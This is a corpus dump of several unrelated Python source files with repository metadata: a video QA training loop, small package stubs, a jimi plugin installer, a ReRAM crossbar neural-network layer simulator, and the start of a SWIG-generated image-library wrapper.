torch.from_numpy(batch_chunk['answer'].astype(np.int32)).cuda() num_mult_choices = batch_chunk['num_mult_choices'] #question_word_nums = batch_chunk['question_word_nums'] data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['candidates'] = candidates data_dict['candidate_lengths'] = candidate_lengths data_dict['answers'] = answers data_dict['num_mult_choices'] = num_mult_choices outputs, targets, predictions = rnn(data_dict, args.task) loss = criterion(outputs, targets) acc = rnn.accuracy(predictions, targets.long()) losses.update(loss.item(), video_features.size(0)) accuracy.update(acc.item(), video_features.size(0)) print('[Test] iter %d, loss %.3f, acc %.2f' % (iter,losses.avg,accuracy.avg)) if args.test == 1: exit() rnn.train() iter += 1 elif args.task=='FrameQA': best_val_acc = 0.0 best_val_iter = 0.0 # this is a multiple-choice problem, predict probability of each class for batch_chunk in train_iter: if args.test==0: video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] question_words = torch.from_numpy(batch_chunk['question_words'].astype(np.int64)).cuda() question_lengths = batch_chunk['question_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.int64)).cuda() data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['question_words'] = question_words data_dict['question_lengths'] = question_lengths data_dict['answers'] = answers outputs, targets, predictions = rnn(data_dict, args.task) loss = criterion(outputs, targets) optimizer.zero_grad() loss.backward() optimizer.step() acc = rnn.accuracy(predictions, targets) print('Train %s iter %d, loss %.3f, acc %.2f' % (args.task,iter,loss.data,acc.item())) if iter % 100==0: rnn.eval() with torch.no_grad(): if args.test == 0: losses = AverageMeter() accuracy = AverageMeter() n_iter = len(val_dataset) / args.batch_size iter_val = 0 for batch_chunk in val_dataset.batch_iter(1, args.batch_size, shuffle=False): if iter_val % 10 == 0: print('%d/%d' % (iter_val, n_iter)) iter_val += 1 video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] question_words = torch.from_numpy(batch_chunk['question_words'].astype(np.int64)).cuda() question_lengths = batch_chunk['question_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.int64)).cuda() data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['question_words'] = question_words data_dict['question_lengths'] = question_lengths data_dict['answers'] = answers outputs, targets, predictions = rnn(data_dict, args.task) loss = criterion(outputs, targets) acc = rnn.accuracy(predictions, targets) losses.update(loss.item(), video_features.size(0)) accuracy.update(acc.item(), video_features.size(0)) if best_val_acc < accuracy.avg: best_val_acc = accuracy.avg best_val_iter = iter print('[Val] iter %d, loss %.3f, acc %.2f, best acc %.3f at iter %d' % ( iter, losses.avg, accuracy.avg, best_val_acc, best_val_iter)) torch.save(rnn.state_dict(), os.path.join(args.save_model_path, 'rnn-%04d-l%.3f-a%.3f.pkl' % ( iter, losses.avg, accuracy.avg))) if 1==1: losses = AverageMeter() accuracy = AverageMeter() n_iter = len(test_dataset) / args.batch_size iter_test = 0 for batch_chunk in test_dataset.batch_iter(1, args.batch_size, shuffle=False): if iter_test % 10 == 0: print('%d/%d' % (iter_test, n_iter)) iter_test+=1 video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] question_words = torch.from_numpy(batch_chunk['question_words'].astype(np.int64)).cuda() question_lengths = batch_chunk['question_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.int64)).cuda() data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['question_words'] = question_words data_dict['question_lengths'] = question_lengths data_dict['answers'] = answers outputs, targets, predictions = rnn(data_dict, args.task) loss = criterion(outputs, targets) acc = rnn.accuracy(predictions, targets) losses.update(loss.item(), video_features.size(0)) accuracy.update(acc.item(), video_features.size(0)) print('[Test] iter %d, loss %.3f, acc %.2f' % (iter,losses.avg,accuracy)) if args.test==1: exit() rnn.train() iter += 1 if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--test', type=int , default=0, help='1-directly test, 0-normal training') parser.add_argument('--task', type=str , default='Count', help='[Count, Action, FrameQA, Trans]') parser.add_argument('--feat_type', type=str , default='SpTp', help='[C3D, Resnet, Concat, Tp, Sp, SpTp]') parser.add_argument('--save_path', type=str, default='./saved_models/' , help='path for saving trained models') parser.add_argument('--hidden_size', type=int , default=512 , help='dimension of lstm hidden states') parser.add_argument('--num_layers', type=int , default=2, help='number of layers in lstm') parser.add_argument('--num_epochs', type=int, default=1000) parser.add_argument('--batch_size', type=int, default=32) parser.add_argument('--num_workers', type=int, default=4) parser.add_argument('--learning_rate', type=float, default=0.001) parser.add_argument('--momentum', default=0.9, type=float, help='momentum') parser.add_argument('--weight_decay', default=1e-4, type=float, help='weight decay (default: 1e-4)') args = parser.parse_args() print(args) main(args)

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12d406ceb5291135ec640751c91f773194d64542

19

py

Python

demos/gobang/__init__.py

YblBarry/xshinnosuke

fe71379140910ec073d54fe01f82f8f28f113a98

[ "MIT" ]

290

2020-07-06T02:13:12.000Z

2021-01-04T14:23:39.000Z

demos/gobang/__init__.py

YblBarry/xshinnosuke

fe71379140910ec073d54fe01f82f8f28f113a98

[ "MIT" ]

1

2020-12-03T11:11:48.000Z

demos/gobang/__init__.py

E1eveNn/xshinnosuke

69da91e0ea5042437edfc31c0e6ff9ef394c6cc9

[ "MIT" ]

49

2020-07-16T00:27:47.000Z

2020-11-26T03:03:14.000Z

from .ui import go

9.5

18

0.736842

4

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3.5

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12d7c33beddb2139a6f7fe8b1d0c10b7e1783b45

41

py

Python

src/td_sequential_calculator/__init__.py

onuratakan/td_sequential_calculator

e0e52a96d4b06b82d8f5fb298e8c3877a259ddca

[ "MIT" ]

3

2021-08-22T07:59:07.000Z

2022-03-24T02:09:18.000Z

src/td_sequential_calculator/__init__.py

onuratakan/td_sequential_calculator

e0e52a96d4b06b82d8f5fb298e8c3877a259ddca

[ "MIT" ]

null

src/td_sequential_calculator/__init__.py

onuratakan/td_sequential_calculator

e0e52a96d4b06b82d8f5fb298e8c3877a259ddca

[ "MIT" ]

null

from .td_sequential_calculator import TDS

41

0.902439

6

41

5.833333

1

0

0.073171

41

1

41

0.921053

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null

0

1

0

1

0

1

0

6

12d9ed0a0f9ebe759cd29dac261acb2cb8cf8ef6

63

py

Python

test_module.py

Hexotical/Astr119Hw2

37a4539277506fa874e17ab33b798ed97f5a84a4

[ "MIT" ]

null

test_module.py

Hexotical/Astr119Hw2

37a4539277506fa874e17ab33b798ed97f5a84a4

[ "MIT" ]

1

2020-10-15T04:53:37.000Z

2020-10-16T22:50:42.000Z

test_module.py

Hexotical/Astr119Hw2

37a4539277506fa874e17ab33b798ed97f5a84a4

[ "MIT" ]

null

def hello_world(): print("Hello world in the test module")

31.5

43

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10

63

4.3

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0.190476

63

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43

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0

1

0

null

0

1

0

1

0

6

420bc0bc743fb65673e70cddcc7d95a8f2c8f86e

1,662

py

Python

webTrigger.py

b1scuit-thi3f/jimiPlugin-webTrigger

7f9acb2401efa94f0518eca475f05c00d902ca85

[ "Apache-2.0" ]

2

2021-07-26T15:02:18.000Z

2021-09-21T13:01:15.000Z

webTrigger.py

b1scuit-thi3f/jimiPlugin-webTrigger

7f9acb2401efa94f0518eca475f05c00d902ca85

[ "Apache-2.0" ]

7

2021-09-20T14:03:22.000Z

2021-12-07T19:07:58.000Z

webTrigger.py

b1scuit-thi3f/jimiPlugin-webTrigger

7f9acb2401efa94f0518eca475f05c00d902ca85

[ "Apache-2.0" ]

null

import jimi class _webTrigger(jimi.plugin._plugin): version = 0.13 def install(self): jimi.model.registerModel("webTriggerOutput","_webTriggerOutput","_document","plugins.webTrigger.models.webTrigger") jimi.model.registerModel("webTrigger","_webTrigger","_trigger","plugins.webTrigger.models.trigger") jimi.model.registerModel("webTriggerAddOutput","_webTriggerAddOutput","_action","plugins.webTrigger.models.action") jimi.model.registerModel("webTriggerEvent","_webTriggerEvent","_document","plugins.webTrigger.models.webTrigger") return True def uninstall(self): jimi.model.deregisterModel("webTriggerOutput","_webTriggerOutput","_document","plugins.webTrigger.models.webTrigger") jimi.model.deregisterModel("webTrigger","_webTrigger","_trigger","plugins.webTrigger.models.trigger") jimi.model.deregisterModel("webTriggerAddOutput","_webTriggerAddOutput","_action","plugins.webTrigger.models.action") jimi.model.deregisterModel("webTriggerEvent","_webTriggerEvent","_document","plugins.webTrigger.models.webTrigger") return True def upgrade(self,LatestPluginVersion): if self.version < 0.11: jimi.model.registerModel("webTriggerOutput","_webTriggerOutput","_document","plugins.webTrigger.models.webTrigger") jimi.model.registerModel("webTriggerAddOutput","_webTriggerAddOutput","_action","plugins.webTrigger.models.action") if self.version < 0.12: jimi.model.registerModel("webTriggerEvent","_webTriggerEvent","_document","plugins.webTrigger.models.webTrigger") return True

61.555556

128

0.731047

146

1,662

8.157534

0.205479

0.083123

0.212427

0.156171

0.824517

0.583543

0

0.006259

0.134777

1,662

26

129

63.923077

0.821975

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false

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0

null

0

1

0

1

0

null

0

6

4210bec1bb8297e6e8473aa2ae6a246e298e0452

195

py

Python

morph/base.py

scupid-admin/morph-python-sdk

b6d528658dcf32b3d39916355a19f5f585f9e54e

[ "MIT" ]

1

2019-09-25T08:25:22.000Z

morph/base.py

scupid-admin/Custom-Code-Python

b6d528658dcf32b3d39916355a19f5f585f9e54e

[ "MIT" ]

null

morph/base.py

scupid-admin/Custom-Code-Python

b6d528658dcf32b3d39916355a19f5f585f9e54e

[ "MIT" ]

null

class MorphSerializable: def __init__(self, properties_to_serialize, property_dict): self.property_dict = property_dict self.properties_to_serialize = properties_to_serialize

39

63

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195

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1

0

1

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null

0

1

0

6

421f1246cef1f24011e81b1a15e4bfaed0a0734a

219

py

Python

docs/sections/section2/solutions/sol5.py

lingcog/2019-CS109A

f1eaa62976fe989c3ad3f3ab4b8dd5d71574a2c3

[ "MIT" ]

442

2019-06-11T06:47:00.000Z

2022-03-12T11:19:31.000Z

docs/sections/section2/solutions/sol5.py

lelandroberts97/2019-CS109A

976da6b65c26fd3c5db285cbf9ec9cde92751a70

[ "MIT" ]

3

2019-09-23T17:32:51.000Z

2022-02-09T06:06:00.000Z

docs/sections/section2/solutions/sol5.py

lelandroberts97/2019-CS109A

976da6b65c26fd3c5db285cbf9ec9cde92751a70

[ "MIT" ]

486

2019-06-17T05:01:07.000Z

2022-03-13T20:30:44.000Z

print('The training data length is the', 100*len(train_data)/len(bikeshare),'% of the total dataset length.') print('The testing data length is the', 100*len(test_data)/len(bikeshare),'% of the total dataset length.')

73

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36

219

4.444444

0.416667

0.1

0.15

0.1875

0.75

0.4875

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0.030928

0.114155

219

2

110

109.5

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0

1

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true

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null

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1

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1

0

null

0

1

0

1

0

6

42237e1c0c416415e3fc9f8d1e80662b86b40073

17,064

py

Python

bak/layer_crxb_ver.py

fightingnoble/pytorch_tutorial

671e5ff5bf6c123ff33e20b0f31fc91a67869244

[ "Apache-2.0" ]

null

bak/layer_crxb_ver.py

fightingnoble/pytorch_tutorial

671e5ff5bf6c123ff33e20b0f31fc91a67869244

[ "Apache-2.0" ]

null

bak/layer_crxb_ver.py

fightingnoble/pytorch_tutorial

671e5ff5bf6c123ff33e20b0f31fc91a67869244

[ "Apache-2.0" ]

null

import math import torch import torch.nn as nn import torch.nn.functional as F from .adc import _adc from .dac import _quantize_dac from .w2g import w2g from .crossbarlayer import CrossbarLayer quantize_input = _quantize_dac.apply # quantize_weight = _quantize_dac.apply adc = _adc.apply class crxb_Conv2d(nn.Conv2d): """ This is the custom conv layer that takes non-ideal effects of ReRAM crossbar into account. It has three functions. 1) emulate the DAC at the input of the crossbar and qnantize the input and weight tensors. 2) map the quantized tensor to the ReRAM crossbar arrays and include non-ideal effects such as noise, ir drop, and SAF. 3) emulate the ADC at the output of he crossbar and convert the current back to digital number to the input of next layers Args: scaler_dw(float): weight quantization scaler to reduce the influence of the ir drop. crxb_size(int): size of the crossbar. quantize(int): quantization resolution of the crossbar. """ def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, dilation=1, groups=1, bias=True, crxb_size=64, scaler_dw=1, **crxb_cfg): super(crxb_Conv2d, self).__init__(in_channels, out_channels, kernel_size, stride, padding, dilation, groups, bias) assert self.groups == 1, "currently not support grouped convolution for custom conv" # self.ir_drop = ir_drop # self.device = device ################## Crossbar conversion ############################# self.crxb_size = crxb_size # self.enable_ec_SAF = enable_ec_SAF # self.nchout_index = nn.Parameter(torch.arange(self.out_channels), requires_grad=False) self.register_buffer('nchout_index', torch.arange(self.out_channels)) weight_flatten_rows = self.in_channels * torch.cumprod(torch.tensor(self.kernel_size), 0)[-1].item() weight_flatten_cols = self.out_channels self.crxb_row, self.crxb_row_pads = self.num_pad( weight_flatten_rows, self.crxb_size) self.crxb_col, self.crxb_col_pads = self.num_pad( weight_flatten_cols, self.crxb_size) # p3d = (0, 1, 2, 1, 3, 3) # pad by (0, 1), (2, 1), and (3, 3) self.w_pad = [0, self.crxb_row_pads, 0, self.crxb_col_pads] self.input_pad = [0, 0, 0, self.crxb_row_pads] weight_crxb_shape = torch.Size((self.crxb_col, self.crxb_row, self.crxb_size, self.crxb_size)) ################# Hardware conversion ############################## # weight and input levels # Q(x) = (2^{k−1} − 1)* round((2^{k−1} − 1) * x) # self.n_lvl = 2 ** quantize # self.h_lvl = (self.n_lvl - 2) / 2 # ReRAM cells # 7-bit precisionis achievable on state-of-the-art RRAM device [9] # [9] High precision tuning of state for memristive devices by # adaptable variation-tolerant algorithm # self.Gmax = gmax # max conductance # self.Gmin = gmin # min conductance # self.delta_g = (self.Gmax - self.Gmin) / (2 ** 7) # conductance step # self.crxb = crxb_layer(ir_drop, device, gmax, gmin, gwire, gload, scaler_dw, vdd, enable_noise, # freq, temp , crxb_size, quantize, enable_SAF, enable_ec_SAF) self.crxb = CrossbarLayer(crxb_size=crxb_size, **crxb_cfg) self.w2g = w2g(self.crxb.delta_g, Gmin=self.crxb.Gmin, G_SA0=self.crxb.Gmax, G_SA1=self.crxb.Gmin, weight_shape=weight_crxb_shape, enable_SAF=self.crxb.enable_SAF) # self.Gwire = gwire # self.Gload = gload # DAC # self.Vdd = vdd # unit: volt # self.delta_v = self.Vdd / (self.n_lvl - 1) # self.delta_in_sum = nn.Parameter(torch.Tensor(1), requires_grad=False) # self.delta_out_sum = nn.Parameter(torch.Tensor(1), requires_grad=False) # self.counter = nn.Parameter(torch.Tensor(1), requires_grad=False) self.register_buffer('delta_in_sum', torch.zeros(1)) self.register_buffer('delta_out_sum', torch.zeros(1)) self.register_buffer('counter', torch.zeros(1)) self.scaler_dw = scaler_dw self.delta_w = 0 # self.weight.abs().max() / self.h_lvl * self.scaler_dw self.delta_x = 0 # self.delta_in_sum.data / self.counter.data self.h_out = None self.w_out = None def num_pad(self, source, target): crxb_index = math.ceil(source / target) num_padding = crxb_index * target - source return crxb_index, num_padding # Mapping the weights to the crossbar array def mapping(self, input): # 1. input data and weight quantization # delta_x delta_w with torch.no_grad(): self.delta_w = self.weight.abs().max() / self.crxb.h_lvl * self.scaler_dw # trainable delta_x if self.training: self.counter.data += 1 self.delta_x = input.abs().max() / self.crxb.h_lvl self.delta_in_sum.data += self.delta_x else: self.delta_x = self.delta_in_sum.data / self.counter.data input_quan, weight_quan = self.crxb.quantize(input, self.delta_x, self.weight, self.delta_w) # 2. Perform the computation between input voltage and weight conductance # compute output feature size if self.h_out is None and self.w_out is None: self.h_out = int( (input.shape[2] - self.kernel_size[0] + 2 * self.padding[0]) / self.stride[0] + 1) self.w_out = int( (input.shape[3] - self.kernel_size[0] + 2 * self.padding[0]) / self.stride[0] + 1) num_block = self.h_out * self.w_out block_size = input.shape[1] * torch.cumprod(torch.tensor(self.kernel_size), 0)[-1] pad_block_size = block_size + self.input_pad[2] + self.input_pad[3] # 2.1 flatten and unfold the weight and input input_unfold = F.unfold(input_quan, kernel_size=self.kernel_size[0], dilation=self.dilation, padding=self.padding, stride=self.stride) weight_flatten = weight_quan.view(self.out_channels, -1) # 2.2. add paddings input_padded = F.pad(input_unfold, self.input_pad, mode='constant', value=0) weight_padded = F.pad(weight_flatten, self.w_pad, mode='constant', value=0) # 2.3. reshape to crxb size input_crxb = input_padded.view(input.shape[0], 1, self.crxb_row, self.crxb_size, num_block) weight_crxb = weight_padded.view(self.crxb_col, self.crxb_size, self.crxb_row, self.crxb_size).transpose(1, 2) # convert the floating point weight into conductance pair values G_crxb = self.w2g(weight_crxb) return input_crxb, G_crxb def forward(self, input): assert input.dim() == 4 # 1. input data and weight quantization input_crxb, G_crxb = self.mapping(input) # 2. Perform the computation between input voltage and weight conductance # 2.1-2.3 Mapping # 2.4. compute matrix multiplication G_crxb = self.crxb.noise_injection(input_crxb, G_crxb) # this block is to calculate the ir drop of the crossbar output_crxb = self.crxb.solve_crxb(input_crxb, G_crxb) # 3. perform ADC operation (i.e., current to digital conversion) # input.shape[0], self.crxb_col, self.crxb_row, # self.crxb_size, self.num_block with torch.no_grad(): if self.training: self.delta_i = output_crxb.abs().max() / (self.crxb.h_lvl) self.delta_out_sum.data += self.delta_i else: self.delta_i = self.delta_out_sum.data / self.counter.data self.delta_y = self.delta_w * self.delta_x * \ self.delta_i / (self.crxb.delta_v * self.crxb.delta_g) # print('adc LSB ration:', self.delta_i/self.max_i_LSB) output_adc = self.crxb.output_convet(output_crxb, self.delta_i, self.delta_y) if self.w2g.enable_SAF: if self.enable_ec_SAF: G_pos_diff, G_neg_diff = self.w2g.error_compensation() ec_scale = self.delta_y / self.delta_i output_adc += (torch.matmul(G_pos_diff, input_crxb) - torch.matmul(G_neg_diff, input_crxb)) * ec_scale output_sum = torch.sum(output_adc, dim=2) # input.shape[0], self.crxb_col, # self.crxb_size, self.num_block output = output_sum.view(input.shape[0], output_sum.shape[1] * output_sum.shape[2], self.h_out, self.w_out).index_select(dim=1, index=self.nchout_index) # remove the padded columns if self.bias is not None: output += self.bias.unsqueeze(1).unsqueeze(1) return output def _reset_delta(self): self.delta_in_sum.data[0] = 0 self.delta_out_sum.data[0] = 0 self.counter.data[0] = 0 class crxb_Linear(nn.Linear): """ This is the custom linear layer that takes non-ideal effects of ReRAM crossbar into account. It has three functions. 1) emulate the DAC at the input of the crossbar and qnantize the input and weight tensors. 2) map the quantized tensor to the ReRAM crossbar arrays and include non-ideal effects such as noise, ir drop, and SAF. 3) emulate the ADC at the output of he crossbar and convert the current back to digital number to the input of next layers Args: scaler_dw(float): weight quantization scaler to reduce the influence of the ir drop. crxb_size(int): size of the crossbar. quantize(int): quantization resolution of the crossbar. """ def __init__(self, in_features, out_features, bias=True, crxb_size=64, scaler_dw=1, **crxb_cfg): super(crxb_Linear, self).__init__(in_features, out_features, bias) # self.ir_drop = ir_drop # self.device = device ################## Crossbar conversion ############################# self.crxb_size = crxb_size # self.enable_ec_SAF = enable_ec_SAF # self.out_index = nn.Parameter(torch.arange(out_features), requires_grad=False) self.register_buffer('out_index', torch.arange(out_features)) self.crxb_row, self.crxb_row_pads = self.num_pad( self.weight.shape[1], self.crxb_size) self.crxb_col, self.crxb_col_pads = self.num_pad( self.weight.shape[0], self.crxb_size) # p3d = (0, 1, 2, 1, 3, 3) # pad by (0, 1), (2, 1), and (3, 3) self.w_pad = [0, self.crxb_row_pads, 0, self.crxb_col_pads] self.input_pad = [0, self.crxb_row_pads] weight_crxb_shape = torch.Size((self.crxb_col, self.crxb_row, self.crxb_size, self.crxb_size)) ################# Hardware conversion ############################## # weight and input levels # Q(x) = (2^{k−1} − 1)* round((2^{k−1} − 1) * x) # self.n_lvl = 2 ** quantize # self.h_lvl = (self.n_lvl - 2) / 2 # ReRAM cells # 7-bit precisionis achievable on state-of-the-art RRAM device [9] # [9] High precision tuning of state for memristive devices by # adaptable variation-tolerant algorithm # self.Gmax = gmax # max conductance # self.Gmin = gmin # min conductance # self.delta_g = (self.Gmax - self.Gmin) / (2 ** 7) # conductance step # self.crxb = crxb_layer(ir_drop, device, gmax, gmin, gwire, gload, scaler_dw, vdd, enable_noise, # freq, temp , crxb_size, quantize, enable_SAF, enable_ec_SAF) self.crxb = CrossbarLayer(crxb_size=crxb_size, **crxb_cfg) self.w2g = w2g(self.crxb.delta_g, Gmin=self.crxb.Gmin, G_SA0=self.crxb.Gmax, G_SA1=self.crxb.Gmin, weight_shape=weight_crxb_shape, enable_SAF=self.crxb.enable_SAF) # self.Gwire = gwire # self.Gload = gload # DAC # self.Vdd = vdd # unit: volt # self.delta_v = self.Vdd / (self.n_lvl - 1) # self.delta_in_sum = nn.Parameter(torch.Tensor(1), requires_grad=False) # self.delta_out_sum = nn.Parameter(torch.Tensor(1), requires_grad=False) # self.counter = nn.Parameter(torch.Tensor(1), requires_grad=False) self.register_buffer('delta_in_sum', torch.zeros(1)) self.register_buffer('delta_out_sum', torch.zeros(1)) self.register_buffer('counter', torch.zeros(1)) self.scaler_dw = scaler_dw self.delta_w = 0 # self.weight.abs().max() / self.h_lvl * self.scaler_dw self.delta_x = 0 # self.delta_in_sum.data / self.counter.data def num_pad(self, source, target): crxb_index = math.ceil(source / target) num_padding = crxb_index * target - source return crxb_index, num_padding # Mapping the weights to the crossbar array def mapping(self, input): # 1. input data and weight quantization # delta_x delta_w with torch.no_grad(): self.delta_w = self.weight.abs().max() / self.crxb.h_lvl * self.scaler_dw # trainable delta_x if self.training: self.counter.data += 1 self.delta_x = input.abs().max() / self.crxb.h_lvl self.delta_in_sum.data += self.delta_x else: self.delta_x = self.delta_in_sum.data / self.counter.data input_quan, weight_quan = self.crxb.quantize(input, self.delta_x, self.weight, self.delta_w) # 2. Perform the computation between input voltage and weight conductance # 2.1. skip the input unfold and weight flatten for fully-connected layers # 2.2. add padding input_padded = F.pad(input_quan, self.input_pad, mode='constant', value=0) weight_padded = F.pad(weight_quan, self.w_pad, mode='constant', value=0) # 2.3. reshape input_crxb = input_padded.view(input.shape[0], 1, self.crxb_row, self.crxb_size, 1) weight_crxb = weight_padded.view(self.crxb_col, self.crxb_size, self.crxb_row, self.crxb_size).transpose(1, 2) # convert the floating point weight into conductance pair values G_crxb = self.w2g(weight_crxb) return input_crxb, G_crxb def forward(self, input): assert input.dim() == 2 # 1. input data and weight quantization input_crxb, G_crxb = self.mapping(input) # 2. Perform the computation between input voltage and weight conductance # 2.1-2.3 Mapping # 2.4. compute matrix multiplication G_crxb = self.crxb.noise_injection(input_crxb, G_crxb) # this block is to calculate the ir drop of the crossbar output_crxb = self.crxb.solve_crxb(input_crxb, G_crxb) # 3. perform ADC operation (i.e., current to digital conversion) # input.shape[0], self.crxb_col, self.crxb_row, # self.crxb_size, self.num_block with torch.no_grad(): if self.training: self.delta_i = output_crxb.abs().max() / (self.crxb.h_lvl) self.delta_out_sum.data += self.delta_i else: self.delta_i = self.delta_out_sum.data / self.counter.data self.delta_y = self.delta_w * self.delta_x * \ self.delta_i / (self.crxb.delta_v * self.crxb.delta_g) # print('adc LSB ration:', self.delta_i/self.max_i_LSB) output_adc = self.crxb.output_convet(output_crxb, self.delta_i, self.delta_y) if self.w2g.enable_SAF: if self.enable_ec_SAF: G_pos_diff, G_neg_diff = self.w2g.error_compensation() ec_scale = self.delta_y / self.delta_i output_adc += (torch.matmul(G_pos_diff, input_crxb) - torch.matmul(G_neg_diff, input_crxb)) * ec_scale output_sum = torch.sum(output_adc, dim=2).squeeze(dim=3) # input.shape[0], self.crxb_col, # self.crxb_size, self.num_block output = output_sum.view(input.shape[0], output_sum.shape[1] * output_sum.shape[2] ).index_select(dim=1, index=self.out_index) # remove padded columns if self.bias is not None: output += self.bias return output def _reset_delta(self): self.delta_in_sum.data[0] = 0 self.delta_out_sum.data[0] = 0 self.counter.data[0] = 0

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0.104866

0.066606

0.024368

0.01523

0.881714

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0.845263

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0.826988

0

0.017932

0.284283

17,064

364

121

46.879121

0.787849

0.333861

0

0.677419

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0

6

42ac102bffe9e75f79f2c0d245418265e8a95527

110,329

py

Python

torchslide/bin/multiresolutionimageinterface.py

arquolo/torchslide-bin

10f0747ee6815d9fcd19647e7b4bbabd5541e465

[ "MIT" ]

1

2019-07-13T08:45:44.000Z

torchslide/bin/multiresolutionimageinterface.py

arquolo/torchslide-bin

10f0747ee6815d9fcd19647e7b4bbabd5541e465

[ "MIT" ]

null

torchslide/bin/multiresolutionimageinterface.py

arquolo/torchslide-bin

10f0747ee6815d9fcd19647e7b4bbabd5541e465

[ "MIT" ]

null

# This file was automatically generated by SWIG (http://www.swig.org). # Version 3.0.12 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info as _swig_python_version_info if _swig_python_version_info >= (2, 7, 0): def swig_import_helper(): import importlib pkg = __name__.rpartition('.')[0] mname = '.'.join((pkg, '_multiresolutionimageinterface')).lstrip('.') try: return importlib.import_module(mname) except ImportError: return importlib.import_module('_multiresolutionimageinterface') _multiresolutionimageinterface = swig_import_helper() del swig_import_helper elif _swig_python_version_info >= (2, 6, 0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_multiresolutionimageinterface', [dirname(__file__)]) except ImportError: import _multiresolutionimageinterface return _multiresolutionimageinterface try: _mod = imp.load_module('_multiresolutionimageinterface', fp, pathname, description) finally: if fp is not None: fp.close() return _mod _multiresolutionimageinterface = swig_import_helper() del swig_import_helper else: import _multiresolutionimageinterface del _swig_python_version_info try: _swig_property = property except NameError: pass # Python < 2.2 doesn't have 'property'. try: import builtins as __builtin__ except ImportError: import __builtin__ def _swig_setattr_nondynamic(self, class_type, name, value, static=1): if (name == "thisown"): return self.this.own(value) if (name == "this"): if type(value).__name__ == 'SwigPyObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name, None) if method: return method(self, value) if (not static): if _newclass: object.__setattr__(self, name, value) else: self.__dict__[name] = value else: raise AttributeError("You cannot add attributes to %s" % self) def _swig_setattr(self, class_type, name, value): return _swig_setattr_nondynamic(self, class_type, name, value, 0) def _swig_getattr(self, class_type, name): if (name == "thisown"): return self.this.own() method = class_type.__swig_getmethods__.get(name, None) if method: return method(self) raise AttributeError("'%s' object has no attribute '%s'" % (class_type.__name__, name)) def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except __builtin__.Exception: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) try: _object = object _newclass = 1 except __builtin__.Exception: class _object: pass _newclass = 0 class SwigPyIterator(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, SwigPyIterator, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, SwigPyIterator, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _multiresolutionimageinterface.delete_SwigPyIterator __del__ = lambda self: None def value(self) -> "PyObject *": return _multiresolutionimageinterface.SwigPyIterator_value(self) def incr(self, n: 'size_t'=1) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.SwigPyIterator_incr(self, n) def decr(self, n: 'size_t'=1) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.SwigPyIterator_decr(self, n) def distance(self, x: 'SwigPyIterator') -> "ptrdiff_t": return _multiresolutionimageinterface.SwigPyIterator_distance(self, x) def equal(self, x: 'SwigPyIterator') -> "bool": return _multiresolutionimageinterface.SwigPyIterator_equal(self, x) def copy(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.SwigPyIterator_copy(self) def next(self) -> "PyObject *": return _multiresolutionimageinterface.SwigPyIterator_next(self) def __next__(self) -> "PyObject *": return _multiresolutionimageinterface.SwigPyIterator___next__(self) def previous(self) -> "PyObject *": return _multiresolutionimageinterface.SwigPyIterator_previous(self) def advance(self, n: 'ptrdiff_t') -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.SwigPyIterator_advance(self, n) def __eq__(self, x: 'SwigPyIterator') -> "bool": return _multiresolutionimageinterface.SwigPyIterator___eq__(self, x) def __ne__(self, x: 'SwigPyIterator') -> "bool": return _multiresolutionimageinterface.SwigPyIterator___ne__(self, x) def __iadd__(self, n: 'ptrdiff_t') -> "swig::SwigPyIterator &": return _multiresolutionimageinterface.SwigPyIterator___iadd__(self, n) def __isub__(self, n: 'ptrdiff_t') -> "swig::SwigPyIterator &": return _multiresolutionimageinterface.SwigPyIterator___isub__(self, n) def __add__(self, n: 'ptrdiff_t') -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.SwigPyIterator___add__(self, n) def __sub__(self, *args) -> "ptrdiff_t": return _multiresolutionimageinterface.SwigPyIterator___sub__(self, *args) def __iter__(self): return self SwigPyIterator_swigregister = _multiresolutionimageinterface.SwigPyIterator_swigregister SwigPyIterator_swigregister(SwigPyIterator) SHARED_PTR_DISOWN = _multiresolutionimageinterface.SHARED_PTR_DISOWN class vector_int(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_int, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_int, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_int_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_int___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_int___bool__(self) def __len__(self) -> "std::vector< int >::size_type": return _multiresolutionimageinterface.vector_int___len__(self) def __getslice__(self, i: 'std::vector< int >::difference_type', j: 'std::vector< int >::difference_type') -> "std::vector< int,std::allocator< int > > *": return _multiresolutionimageinterface.vector_int___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_int___setslice__(self, *args) def __delslice__(self, i: 